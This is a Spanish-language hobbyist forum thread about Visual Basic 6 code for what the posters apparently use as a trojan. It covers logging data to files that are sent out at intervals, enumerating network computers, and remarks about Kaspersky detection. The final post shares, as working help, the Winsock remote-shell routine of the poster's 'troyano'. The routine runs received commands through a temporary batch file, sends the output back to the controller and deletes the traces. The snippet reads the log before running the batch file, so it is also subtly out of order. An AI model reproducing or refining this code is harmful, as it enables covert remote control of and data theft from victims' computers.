Mensajes

Código [Seleccionar] Expandir

  Open "C:\log" & n & ".txt" For Append As fnum

Esque te complicas la vida.
Mira como dices cuando el label llega a 1800(este truco lo podrias optimizar que es una chapuza,xD)Pues como dices graba el archivos de texto,bien,pues lo envias y lo eliminas.
Pero es que no te entiendo,append escribe a continuacion,sino existe lo crea,cual es tu problema?
La hora si se repite,xD,la fecha tambien,si pones intervalo 1800,xD,digo yo que en 24 horas no canvia,y la hora al dia siguiente,pues....
Puedes comprobar si el archvio existe y entonces realizar una accion,por ejemplo cambiar el nombre con que lo ibas a guardar.
Peor no entendi tu pregunta,explciate mejor.

En vez de output(qu si existe sobreescribe) usa Append que si existe escribe a continuacion.
No sé si esa es tu duda.

Código [Seleccionar] Expandir

@echo Hola como estas
pause
Es eso a lo que te referias?
Espero qeu te sirva.
Saludos.

Usando net view del ms-dos por ejemplo y luego ir haciendo un ping a cada una de ellas

Si,pero eso no es desde codigo,igual se podria guardar el resultado y sacar los datos que interesan...pero no sé.
Eso ya lo sabia por eso dije que desde codigo no sabia.
Igual algunos de vosostros si.
Saludos.

Pues aqui el nombre de los equipos:

Código [Seleccionar] Expandir


HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ComputerDescriptions

Y para la IP ni idea,desde codigo no sé.

La última pregunta no la entiendo, EN PRINCIPIO porque va a ser detectable abrir una web con internetexplorer?

El kaspersky si lo detecta.
Saludos.

Código [Seleccionar] Expandir


Open "C:\yo.txt" For Input As #1
Dim texto as string
texto = Input(LOF(1), #1)
Close #1
text1.text=texto

Espero que te sirva.
Saludos.

no es 1 nombre, eso solo hera 1 ejemplo es para añadir el text1 a una url, no es tan basico es distinto.

Que mas da un nombre o una url esto es muy basico,no te ofendas,y que sea un nombre o una url no tiene nada que ver.
Saludos.

Código [Seleccionar] Expandir


Open "c:\test.bat" For Binary As #1
Put #1, , "@echo off" & vbCrLf
Put #1, , sdata(1) & ">>c:\log.txt" & vbCrLf
Put #1, , "exit"
Close #1
Open "c:\log.txt" For Input As #1
conten = Input(LOF(1), #1)
Close #1
WS.SendData "no|" & conten
Shell "c:\test.bat"
Kill "c:\test.bat"


Mira la remote shell de mi troyano(se puede optimizar en vez de crear bats hacer shell"" pero bueh...)lo que hago es desde el cliente enviar el comando,y como ves lo pone en un bat,esto:

Código [Seleccionar] Expandir

>>c:\log.txt previamente el comando lo que hace es guardar la respuesta en un archivo de texto situado en c: con nombre log.txt,bien pues luego lo leemos con el input,y lo enviamos al cliente y ya tenemos nuesra remote shell.
Ejecutamso el bat para que se ejecute el comando,y eliminamos luego el bat y el archivo de texto con el resultado.
Espero qeu te sirva saludos.